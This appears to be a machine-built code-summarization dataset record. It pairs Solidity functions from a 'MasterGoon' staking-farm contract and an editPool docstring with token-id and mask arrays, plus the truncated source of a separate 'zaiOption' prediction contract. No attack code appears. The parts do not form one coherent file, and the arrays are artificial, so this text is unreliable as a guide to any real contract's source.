called by owner. function editPool( uint256 _poolId, uint256 _allocPoints, uint256 _depositFeeBP, uint256 _harvestInterval, bool _withUpdate ) public onlyOwner { require(_poolId < poolInfo.length, "MasterGoon: pool does not exist"); require( _harvestInterval <= MAX_HARVEST_INTERVAL, "MasterGoon: too high harvest interval" ); require( _depositFeeBP <= MAX_DEPOSIT_FEE_BP, "MasterGoon: too high deposit fee" ); if (_withUpdate) { massUpdatePools(); } uint256 catId = poolInfo[_poolId].catId; catInfo[catId].totalPoolAllocPoints = catInfo[catId].totalPoolAllocPoints - poolInfo[_poolId].allocPoints + _allocPoints; poolInfo[_poolId].allocPoints = _allocPoints; poolInfo[_poolId].depositFeeBP = _depositFeeBP; poolInfo[_poolId].harvestInterval = _harvestInterval; emit PoolEdit( address(poolInfo[_poolId].token), poolInfo[_poolId].catId, _allocPoints, _depositFeeBP, _harvestInterval ); } function getMultiplier( uint256 _from, uint256 _to ) public view returns (uint256) { uint256 _endBlock = endBlock(); if (_from >= _endBlock) { return 0; } if (_to > _endBlock) { return _endBlock - _from; } return _to - _from; } // Internal function to dispatch pool reward for sender. // Does one of two things: // - Reward the user through treasurer // - Lock up rewards for later harvest function _dispatchReward(uint256 _poolId) internal { PoolInfo storage pool = poolInfo[_poolId]; UserInfo storage user = userInfo[_poolId][msg.sender]; if (user.nextHarvestTime == 0) { user.nextHarvestTime = block.timestamp + pool.harvestInterval; } uint256 pending = user.amount * pool.accGoonPerShare / 1e18 - user.rewardDebt; if (block.timestamp >= user.nextHarvestTime) { if (pending > 0 || user.lockedReward > 0) { uint256 totalReward = pending + user.lockedReward; user.lockedReward = 0; user.nextHarvestTime = block.timestamp + pool.harvestInterval; treasurer.rewardUser(msg.sender, totalReward); } } else if (pending > 0) { user.lockedReward += pending; } } // Deposits tokens into a pool. function deposit(uint256 _poolId, uint256 _amount) public nonReentrant { PoolInfo storage pool = poolInfo[_poolId]; require(pool.allocPoints != 0, "MasterGoon Deposit: pool is disabled"); require( catInfo[pool.catId].allocPoints != 0, "MasterGoon Deposit: category is disabled" ); UserInfo storage user = userInfo[_poolId][msg.sender]; updatePool(_poolId); _dispatchReward(_poolId); uint256 depositFee = _amount * pool.depositFeeBP / 1e4; if (_amount > 0) { pool.token.safeTransferFrom( msg.sender, address(this), _amount ); if (pool.depositFeeBP > 0) { pool.token.safeTransfer(feeCollector, depositFee); user.amount += _amount - depositFee; } else { user.amount += _amount; } user.nextHarvestTime = block.timestamp + pool.harvestInterval; } user.rewardDebt = user.amount * pool.accGoonPerShare / 1e18; emit Deposit(msg.sender, _poolId, _amount, depositFee); } // Withdraw tokens from a pool. function withdraw(uint256 _poolId, uint256 _amount) public nonReentrant { PoolInfo storage pool = poolInfo[_poolId]; UserInfo storage user = userInfo[_poolId][msg.sender]; require(user.amount >= _amount, "MasterGoon: bad withdrawal"); updatePool(_poolId); _dispatchReward(_poolId); user.amount -= _amount; user.rewardDebt = user.amount * pool.accGoonPerShare / 1e18; if (_amount > 0) { pool.token.safeTransfer(msg.sender, _amount); } emit Withdraw(msg.sender, _poolId, _amount); } // EMERGENCY ONLY. Withdraw tokens, give rewards up. function emergencyWithdraw(uint256 _poolId) public nonReentrant { PoolInfo storage pool = poolInfo[_poolId]; UserInfo storage user = userInfo[_poolId][msg.sender]; pool.token.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _poolId, user.amount); user.amount = 0; user.rewardDebt = 0; user.lockedReward = 0; user.nextHarvestTime = 0; } // Update all pool at ones. Watch gas spendings. function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 poolId = 0; poolId < length; poolId++) { updatePool(poolId); } } // Update a single pool's reward variables, and mints rewards. // If the pool has no tokenSupply, then the reward will be fully sent to the // dev fund. This is done so that the amount of tokens minted every block // is stable, and the end of farming is predictable and only impacted by // updateGoonPerBlock. function updatePool(uint256 _poolId) public { PoolInfo storage pool = poolInfo[_poolId]; if (block.number <= pool.lastRewardBlock || pool.allocPoints == 0 || catInfo[pool.catId].allocPoints == 0 ) { return; } uint256 tokenSupply = pool.token.balanceOf(address(this)); if (tokenSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (multiplier == 0) { pool.lastRewardBlock = block.number; return; } CatInfo storage cat = catInfo[pool.catId]; uint256 userReward = multiplier * rewardGoonPerBlock * pool.allocPoints / cat.totalPoolAllocPoints * cat.allocPoints / totalCatAllocPoints; uint256 devReward = multiplier * devGoonPerBlock * pool.allocPoints / cat.totalPoolAllocPoints * cat.allocPoints / totalCatAllocPoints; pool.lastRewardBlock = block.number; pool.accGoonPerShare += userReward * 1e18 / tokenSupply; goon.mint(dev, devReward); goon.mint(address(treasurer), userReward); } function pendingReward( uint256 _poolId, address _user ) external view returns(uint256) { PoolInfo storage pool = poolInfo[_poolId]; UserInfo storage user = userInfo[_poolId][_user]; CatInfo storage cat = catInfo[pool.catId]; uint256 accGoonPerShare = pool.accGoonPerShare; uint256 tokenSupply = pool.token.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && tokenSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (multiplier != 0) { uint256 userReward = multiplier * rewardGoonPerBlock * pool.allocPoints / cat.totalPoolAllocPoints * cat.allocPoints / totalCatAllocPoints; accGoonPerShare += userReward * 1e18 / tokenSupply; } } return user.amount * accGoonPerShare / 1e18 - user.rewardDebt + user.lockedReward; } function poolsLength() external view returns(uint256) { return poolInfo.length; } function categoriesLength() external view returns(uint256) { return catInfo.length; } function poolsInCategory(uint256 _catId) external view returns(uint256[] memory) { return catPools[_catId]; } function endBlock() public view returns(uint256) { return startBlock + farmingDuration; } }
Edits a new token pool. Can only be called by owner.
function editPool( uint256 _poolId, uint256 _allocPoints, uint256 _depositFeeBP, uint256 _harvestInterval, bool _withUpdate ) public onlyOwner { require(_poolId < poolInfo.length, "MasterGoon: pool does not exist"); require( _harvestInterval <= MAX_HARVEST_INTERVAL, "MasterGoon: too high harvest interval" ); require( _depositFeeBP <= MAX_DEPOSIT_FEE_BP, "MasterGoon: too high deposit fee" ); if (_withUpdate) { massUpdatePools(); } uint256 catId = poolInfo[_poolId].catId; catInfo[catId].totalPoolAllocPoints = catInfo[catId].totalPoolAllocPoints - poolInfo[_poolId].allocPoints + _allocPoints; poolInfo[_poolId].allocPoints = _allocPoints; poolInfo[_poolId].depositFeeBP = _depositFeeBP; poolInfo[_poolId].harvestInterval = _harvestInterval; emit PoolEdit( address(poolInfo[_poolId].token), poolInfo[_poolId].catId, _allocPoints, _depositFeeBP, _harvestInterval ); }
5,390,125
[ 1, 2671, 1282, 279, 394, 1147, 2845, 18, 4480, 1338, 506, 2566, 635, 3410, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 3874, 2864, 12, 203, 565, 2254, 5034, 389, 6011, 548, 16, 203, 565, 2254, 5034, 389, 9853, 5636, 16, 203, 565, 2254, 5034, 389, 323, 1724, 14667, 30573, 16, 203, 565, 2254, 5034, 389, 30250, 26923, 4006, 16, 203, 565, 1426, 389, 1918, 1891, 203, 225, 262, 1071, 1338, 5541, 288, 203, 565, 2583, 24899, 6011, 548, 411, 2845, 966, 18, 2469, 16, 315, 7786, 5741, 265, 30, 2845, 1552, 486, 1005, 8863, 203, 565, 2583, 12, 203, 1377, 389, 30250, 26923, 4006, 1648, 4552, 67, 44, 985, 3412, 882, 67, 16435, 16, 203, 1377, 315, 7786, 5741, 265, 30, 4885, 3551, 17895, 26923, 3673, 6, 203, 565, 11272, 203, 565, 2583, 12, 203, 1377, 389, 323, 1724, 14667, 30573, 1648, 4552, 67, 1639, 28284, 67, 8090, 41, 67, 30573, 16, 203, 1377, 315, 7786, 5741, 265, 30, 4885, 3551, 443, 1724, 14036, 6, 203, 565, 11272, 203, 203, 565, 309, 261, 67, 1918, 1891, 13, 288, 203, 1377, 8039, 1891, 16639, 5621, 203, 565, 289, 203, 377, 203, 565, 2254, 5034, 6573, 548, 273, 2845, 966, 63, 67, 6011, 548, 8009, 2574, 548, 31, 203, 377, 203, 565, 6573, 966, 63, 2574, 548, 8009, 4963, 2864, 8763, 5636, 273, 203, 1377, 6573, 966, 63, 2574, 548, 8009, 4963, 2864, 8763, 5636, 300, 2845, 966, 63, 67, 6011, 548, 8009, 9853, 5636, 397, 389, 9853, 5636, 31, 203, 565, 2845, 966, 63, 67, 6011, 548, 8009, 9853, 5636, 273, 389, 9853, 5636, 31, 203, 565, 2845, 966, 63, 67, 6011, 548, 8009, 2 ]
/** *Submitted for verification at BscScan.com on 2021-08-24 */ // SPDX-License-Identifier: MIT pragma solidity >=0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IZaiReferral { /** * @dev Record referral. */ function recordReferral(address user, address referrer) external; /** * @dev Record referral commission. */ function recordReferralCommission(address referrer, uint256 commission) external; /** * @dev Get the referrer address that referred the user. */ function getReferrer(address user) external view returns (address); } interface AggregatorV3Interface { function decimals() external view returns ( uint8 ); function description() external view returns ( string memory ); function version() external view returns ( uint256 ); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData( uint80 _roundId ) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } pragma abicoder v2; /** * @title Zai Option - forked from PancakePredictionV2 */ contract zaiOption is Ownable, Pausable, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; AggregatorV3Interface public oracle; bool public genesisLockOnce = false; bool public genesisStartOnce = false; address public adminAddress; // address of the admin address public operatorAddress; // address of the operator uint256 public bufferSeconds; // number of seconds for valid execution of a prediction round uint256 public intervalSeconds; // interval in seconds between two prediction rounds uint256 public minBetAmount; // minimum betting amount (denominated in wei) uint256 public treasuryFee; // treasury rate (e.g. 200 = 2%, 150 = 1.50%) uint256 public treasuryAmount; // treasury amount that was not claimed // Operational Addresses // address public treasuryAddress = 0xBe511eF95e14E0524aA86187B233cffDBA87aB98; address public devAddress = 0x8bC8B45626b43d5F63D79D6002B1bA730B70F88a; address public staffAddress = 0x0926345c8Eb1206461F49cCF213ca52B46e34429; // address public buybackAddress = 0x5bA4b2E88ea7303aa25c0798B28e107d129A2A2a; address public Maintenance = 0xa7F749B90BDbDe8d2C0EC61a952914C88D863027; uint256 public currentEpoch; // current epoch for prediction round uint256 public oracleLatestRoundId; // converted from uint80 (Chainlink) uint256 public oracleUpdateAllowance; // seconds uint256 public constant MAX_TREASURY_FEE = 1000; // 10% uint256 public passedBlocks = 200480; // 1 week of blocks uint256 public jackpotLock = 0; // blockNumber for counting // ZAIF FEE Calculation uint16 public constant TaxFee = 500; // 2% for referral payments uint16 public constant refFee = 200; // Zai referral contract address. IZaiReferral public 